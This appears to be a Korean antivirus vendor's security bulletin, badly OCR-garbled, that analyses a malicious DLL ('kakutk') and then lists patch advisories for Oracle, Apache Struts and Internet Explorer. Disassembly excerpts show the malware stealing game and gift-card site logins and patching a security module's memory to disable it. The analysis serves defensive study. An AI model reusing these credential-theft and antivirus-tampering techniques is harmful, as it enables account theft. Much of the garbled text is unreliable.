) AY Yo o
IEFRAME.AIIO] L& oz %A X5l= Function Table

-
S 71
23

2
Katutk.dll2 IEFRAMEIIO] AHH|M o2 &ZxSH= o2 FHE
OSZMN 4DLLO| ZEE|AHT Bt
(8 MPU - thread D000D0B44, module IEFRAME

rir

Function Tableg 0|2 2| mjX|&t

3FBEGBA? OFE74E 1@ MOUZX ECH. WORD PTIR DS:[ESI+1B81]
3IFBEGBAE FF76 1A PUSH DWORD PTR DS:[ESI+iAl
3FBEGBAE 8B@7 MOU EAX.DWORD PTR DS:L[EDI] kakutk.18821358
3FBEGBER FF?6 16 PUSH DWORD PTR DS:[ESI+161]
3FBEGAB3 FF?6 12 PUSH DWORD PTR DS:[ESI+121]
3FBEGAB6 51 PUSH ECH
3FBEGAR? FF?6 AC PUSH DUORD PIR DS:[ESI+C]
3FBEGABA FF76 A3 PUSH DWORD PIR DS:[ESI+81] IEFRAME . 3FBE5914
3FBEGBED FF76 A4 PUSH DWORD PIR DS:[ESI+4]
3FBEGACH 57 PUCH ENI

FF5@ 18 CcALL DWORD PTR DS:[EAX+181 kakutk.1ABAF912
3FBEsBAC4 33Ca AUH EBEHa_EHA Kakutk.1
3FBEGBCH LF POP EDI ob A 010 S aanas
3FBEGBAC? LE POP ESI E E B3B38
3FBEGBCH 5D POP EEP L JDLL% 22F 9 'I —aFPA3B38
JFBEGECY | G2 @BOM REIN §

kakutk.
kakutk.
kakutk.
kakutk.
kakutk.
kakutk.
kakutk.
kakutk.
kakutk.
kakutk.
kakutk.
kakutk.
kakutk.

kakutk.10824188

TableS O 22| ﬂHXIOPL 7*"# A H:f = & UL
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i AlYac me IXfel U0} 7 HOISH KN BHS

F

C
o

HEHEAD, 3

o =

IEFRAMEdIIO] 28N 2EE AdHdIES FEIZ FE S Al A
c o o = =L OO & S A

= EXEES AEDH U2 AOIEE EHHICR St1 QYZS =old &~ QUot

8 MPU - thread DODDDDBA4, module kakutk

1OORF39D | 8D4D @G LER ECX,DMORD PTR SS:LEBP+C]

1A0AF9AN | ES8 BCBAFFFF | CALL kakutk.1@PB?7E3L

1AB@FIAS 68 ABSBA21@ | PUSH kakutk.iBB28BAD UNICODE

1ABAFIAA FF75 BC PUSH DWORD PTR §S:[EBP+C1

1A0AFAD | ES 5@SEMGAR | CALL kakutk.l1B@P18582

1ABAFIE2 59 POP ECK IEFRAME . 3FBE6AC4

1ABAFI B3 85ce TEST EAX.EAX kakutk. 18821358

1ABAFIES 59 POP ECX I EFRAME . 3FBEGACA

1A0BFIEG | 74 @9 JE SHORT kakutk.1@@@FIC1

1AGAFIBY FE?5 8C PUSH DWORD PTR §8:[EBP+C1

1APAFEE | FF15 34120218 |CALL DWORD PTR DS: [<&0LEAUT3Z.#6>1 OLEAUT32 i

180@FIC1 68 CO88021@ | PUSH kakutk.liBB288C0 UNICODE [r2.uebzen.co.kn®

1ABAFICH FF75 OC PUSH DWORD PTR SS:[EBP+C]

1ABAFICY ES 348B90@P | CALL kakutk.l1B8@18582

1ABAFICE | 59 POP ECK IEFRAME. 4

1A0AFICF | BB 748B@21@  |MOU EBX.kakutk.1B828B74 UNIGODE ['maplestory.nexon.con”

1ABAFID4 | B85CH TEST EAX,EAX kaku

1ABAFI D6 59 POP ECK I RFRARE 3FBEERCA

1A0@FID? . BFS5 CFO1BPOB | JNZ kakutk.lBBBFBAC

1A0AFDD | | 68 5@89@218 | PUSH kakutk.1@B28950 UNIGODE ‘Jwwns.cultuleland.co. k']

1ABAFIE2 FF75 BC PUSH DWORD PTR SS:[EBP+C1

1AB@FIES ES 18880080 | CALL kakutk.1B8@18502

1ABAFIER 59 POP ECX I EFRAME . 3FBE6ACA

1ABAFIEB | |85CE TEST EAX.EAX kakutk. 10821358

1AG@FIED | |59 POP ECK IEFRAME . 3FBEGAC4

1AGAFIEE | .| BF85 BEA1OMAA |JNZ kakutk.lBBBFBAC

1APAF9F4 | |68 E48BA218 | PUSH kakutk.1PP28BE4 UNIGODE

1AB@FIF9 FF75 OC PUSH DWORD PTR §S:[EBP+C]

AMZE NASl A Y ZHOo|X|of E£5t0] Dt HIZHDE Y=HSH= 2Hoj,

ID : THIS_IS_ID
PASSWORD : THIS_IS_PASSWORD
2k YE5ID Login HES H2{HQEL, Of2f9t 20| 9H4DLLO| D9} H|YHSE HBXo=

Bl e EE

frso] P

OHIICT RE

R[Js] E[F20 G006 CMR——f=-]

ASCIT "THIS_IS_Ip” | QFAMD | HEO| Ip

hSCI I "THIS_IS_PASSWORD" |

°dpLLEHL
PASS
|5
@ 2EY s - ®mI00% -
T TS LR
58 PUSH EAX
56 PUSH ESI
BE D4E6B318 MOU ESI.kakutk.1883E6D4 ASCITI "?ap=&sp=Bup=THIS_IS_ID&pp= THIS _IS_PASSUO
68 CACDAZ18 PUSH kakutk.1882CDCA ASCII '"xs?ap=Xsksp=xsbup=xs&pp=xs"

56 PUSH ESI
E8 34610000 CALL kakutk.18@132D

108121A3 8D45 CC LEA EAX.DUWORD PTR SS [EBP-341
68 70CEB218 PUSH kakutk.1@02GE? ASCI I =
188121AB 58 PUSH EAX

188121RC E8 7F660008 CALL kakutk.18818838

12 2E FEHS} (AN YE S & o)

olgf RS 7|EE 2o 2E0| AF0| EX5ta, 2M=2 Of fgIEE G2 7|HE Hot 2
22 Y22 M A2 oHX|2, O7|ME SAS| B0 ool T 2 FStot.

ES Vsoft copyright © by ESTsoft Corp. All rights reserved _
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g e

HYo2 QIHY WIS
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st

Of2fl= SAF HOt RE9o| 2ZH& flot ofd ZE9| AR EO|CH

§§
—
=

ov

thread DDDOODCBC, module kakutk

. 2BC8 SUB EGH.EAR SCE8K4.8AAC6A3C

. B3E? &5 SUB EGH.5

. 874D ED MOU DWORD PTR SS:[EBF-131.ECXK

. 8D4D EC LEA ECH.DWORD PTR SS8:[EEP-141

. 5 PUSH ECX

. 5@ PUSH ERX SCE8K4.8AACGA3C

. FF?5 C8 PUSH DWORD PTR S8:[EBP-381 kernel32 . ?C?DFDCF

. E8 VEBBFFFF |CALL kakutk.@34F7F1E

. B83C4 1A ADD ESF.16

> 68 4ACD5183 |(PUSH kakutk.@351CD4A pHModule = ['SCEK4.o0cx"
. FF1i5 AC18518] CALL DWORD PTR DS: [<{&KERNEL3Z.GetModLlGetModuleH T IEN

. BBF8 MOU EDI . EAR SCESK4.8AACGA3C

. 3BFE CMP EDI.EBA&

-~ -BF84 AABABAAAI JE kakutk.B34FF762

. | 393D BA315F8CMP DUORD PTR DS:[35F31BA1.EDI SCEHK4.8A0E0080

.| 74 64 JE SHORT kakutk.B34FF724

. | 68 AABAEAAA |(PUSH ShEBHA MemSize = BABABA (83384
. |53 PUSH EBX [Flags = GMEM_FIXEDIiS
. | FF15 8C18518 CALL DUWORD PTR DS: [{&KERNEL3Z2.GloballLGlobhalAlloc

. | 3BC3 CMP EAX,EBAR

. | 87945 FC MOU DUORD PTR S5:[EBP-41.EAX SCESK4.8AACGA3C

.| 74 48 JE SHORT kakutk.B34FF71E

. | 893D BA315FA; MOV DUORD PTR DS:[35F31BA1.EDI SCEHK4.8A080080A

. | 8B47 3C MOU EAX.DUORD PTR DS:[EDI+3C1

. | 8B7438 58 MOU ESI.DUWORD PTR DS:[EAX+EDI+581

SCSK4.ocx?t ZE E[QUCHH, ST g EH B&29| IjX[E fIsHAM ZwProtectVirtualMemory&
ETUoZN HE2 482 HYGCH

module kakutk

PUSH EDI SCSK4 . AARSBAAA
12 |PUSH kakutk.B@35%1BF58 pModule = “"'mtdll.dl11"
18] CALL DWORD PTR D5 : [{&KERILGetModuleHandlef
18 HOU ESI.DWORD PTR DS:[<&] ShimEng.5C2E?774
MOU EDI . EAX ntdll.ZuwProtectUirtualMemory
13 |PUSH kakutk.@351BF38 FrocHameOrOrdinal = ""NtUWritelUirtuwalMemory"
PUSH EDI [hﬂudule = BABEARAA (SCSH4>
CALL ESI GetProcAddress
13 |PUSH kakutk.@35%1BF28 ProcHameOrOrdinal = "NtProtectUirtuwalMemory®
PFUSH EDI hHodule = BABEERAA (SCS5K4)
13 |MOU DWORD FTR DS:[35F4A7¢| ntdll.ZuProtectlVirtualMemory
CALL ESI GetProcAddress
FOP EDI SCEK4.8nA8BA0A
)13 |MOU DWORD PFTR DS:[35F4AM ntdll.ZuProtectlUirtualMemory
POP ESI
LEA EC¥, [LOCAL.21
PUSH ECH
LEA ECK.[ARG.41
PUSH 4@
EgEHEEEH[LOCHL 11 Tl k|t HE 0O EE 22 H
- - 1L = =
HX|g 2ol H2E £42 HA
PUSH [ARG.11
CALL EAX ntdll. ZuProtectVirtualMemnory |

Otefi= &M=Z SCSKAFo| ZEMX|ZL O|ROT RS LIEFHCL 22t =4S o=

Lot A
gholgt 5= UL

rlo
pav|
mjo
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i ALYc o} 7t OISY BT BHS

[8 MPU - thread 0DDODCBC, module SCSK4

BAAC6AZY 8B82 74920008 |MOU EAX,DWORD PTIR DS: LED:
BABCEAZF 8378 3C 9@ CHMP DWORD PTR DS :[EAX+3C
PABC6A33 |. 74 17 JE SHORT SCSK4.@ARC6A4C
BABCEA3S 8B4D BC MOU ECX,DWORD PTR SS:[EB] SCSK4.PABCEA3C
PABCEA3S 51 PUSH ECR
%-_&;ﬂgaaﬁaw JMP kakutk.A34FEFES JMF to malwarve |
AUD HL,GH
PABC6A43 FD
PABC6A44 8CFC 2H ZE X7} 0| FEl ndefined segnen
ANACHA416 FFE? 1legal use of »
PABC6A48 a8 @@ - A
BABCHA4A APPe SCSK4d.ocx LHFC| 25
GO A A oODAC &R DA R AT ST
(3) 2=
Ol tdFEE= Ol B, 2212AHY AE A 28TE BF, HE FEIZ o+ #Hil FEH3,
FJ|HE HOt @EQl B33l 59| 7|52 ZeMoz JHX|1d &, OfF IEE KX|USHH MAHE=

T XA
22 ot= DLLOJLt #E REZIO CiohM Z2HEHE ZOo{EX| ot
=

M Us =2 = UAART, AFRE A7(7F HF SOEHA SAA B2 Al 2
= AS ZHSHAM mpefsiuv|et el Stts 420l S AL

HeIHo2 o|M7tA| = AZER AdRE oM 7ry Loist 37|9] ddIEYCH, AZE
¥ GgIRESl AFPEO|2tD Bt Ry YLEACE AU Z2IYO| AO|=et MEE 7S
of orF 7|&XQ Ao=2 HtM Ol2et TR HYIES PEHLE Motz &= sFH1E0
T Aoz YZECH

F=20| o|AL FAteH HEO| HE 7t5d0| thEst?| ME0, 2 A0 7|sE i, 7|2 B
o REo| FE3 8l AYYEE FFlots +¥ SO CHoiM F=td| ofsistn 10 tiSsHor &
A 2t
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» 2013 7¢ Oracle Critical Patch Update 311

Oracle Critical Patch Update(CPU)= OracleAl9| HEZ& CHASZ Ci=9 HO IjX|E &
#ol= T2 +He.

Oracle CPU 2 0|3, T2 BHBCO| FHO= QI8 Wejvt G4 sl b Oracle TE

o CtE FefFol et kS g

2013 72 Oracle CPUO| M= Oracle XIA} A | O CFA 89710 CHer WX|E LHE
8 97 9 2 BHS S0 S MHE 3HH 42E TH54H0 A HYH
= ZSt0 DBo| 7t8d A 7|2d/FAE0 E¥E E + AU FAYH =X

<o HZF>

Oracle Database 11g Release 2, versions 11.2.0.2, 11.2.0.3

Oracle Database 11g Release 1, version 11.1.0.7

Oracle Database 10g Release 2, versions 10.2.0.4, 10.2.0.5

Oracle Access Manager, versions 11.1.1.5.0, 11.1.1.7.0, 11.1.2.0.0

Oracle Endeca Server, versions 7.4.0, 7.5.1.1

Oracle HTTP Server, versions 10.1.3.5.0

Oracle JRockit, versions R27.7.5 and earlier, R28.2.7 and earlier

Oracle Outside In Technology, versions 8.3.7, 8.4.0, 84.1

Oracle WebCenter Content, versions 10.1.3.5.1, 11.1.1.6.0, 11.1.1.7.0

Oracle Hyperion BI, versions 11.1.1.3, 11.1.1.4.107 and earlier, 11.1.2.1.129 and earlier,
11.1.2.2.305 and earlier

Enterprise Manager Plugin for Database 12c Release 1, versions 12.1.0.2, 12.1.0.3
Enterprise Manager Grid Control 11g Release 1, version 11.1.0.1

Enterprise Manager Grid Control 10g Release 1, version 10.2.0.5

Oracle E-Business Suite Release 12i, versions 12.0.6, 12.1.1, 12.1.2, 12.1.3
Oracle E-Business Suite Release 11i, version 11.5.10.2

Oracle Agile Collaboration Framework, version 9.3.1

Oracle Agile PLM Framework, version 9.3.1

Oracle Agile Product Framework, version 9.3.1

Oracle PeopleSoft Enterprise Portal, version 9.1

Oracle PeopleSoft HRMS, version 9.1

Oracle PeopleSoft PeopleTools, versions 8.51, 8.52, 8.53

Oracle iLearning, versions 5.2.1, 6.0

Oracle Policy Automation, versions 10.2.0, 10.3.0, 10.3.1, 10.4.0, 104.1, 10.4.2
Oracle and Sun Systems Product Suite

Oracle Secure Global Desktop, versions 4.6 prior to 4.63, 4.7 prior to 4.71
Oracle MySQL Server, versions 5.1, 5.5, 5.6
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Apache Struts 20| A, RIZZE HA

So| #Hopyo| wHg
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M 0| s
Hofst BXS AFBOIR Ug Z2, iZol olg) BHOIX WX, GO|EH A Yu RF
So| elg Y2 4 USDE MY Bt HIH XX e

<o AE>

Apache Struts 2.3.15 3! O|™MHH

o
o F St Apache Struts 2 HHEE 285t1U= MY B2|Xt= 23151 O|4 HEMOZE
Ay o=

<EtTAO|E>
http://struts.apache.org/release/2.3.x/docs/s2-016.html
http://struts.apache.org/release/2.3.x/docs/s2-017.html
http://struts.apache.org/download.cgi#struts23151
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« Microsoft 82 X7| HOt AG|0|E

Internet Explorer =X HOF G 0|E, Unicode Scrlpts Processorol —.—I—| 402 Olst A
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« Windows XP

« Windows Vista

« Windows 7

« Windows 8

« Windows RT

« Windows Server 2003

« Windows Server 2008

« Windows Server 2008 R2
» Windows Server 2012

Internet Explorer =X HQF 21h|0| E(2862772)

0] 29 M 0|E= Internet Explorere| H|ZI/| o2 EEl FAH 11H4S AT C
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Unicode Scripts Processor?| FdHo = Olst 214 I Aldd 2x|H(2850869)
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0] 2ot AHO|E&= H|FIHHCZE H & Microsoft Windows2| Unicode Scripts Processor
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Contact us...

Tel : 02-3470-2999
E-mail : help@alyac.co.kr
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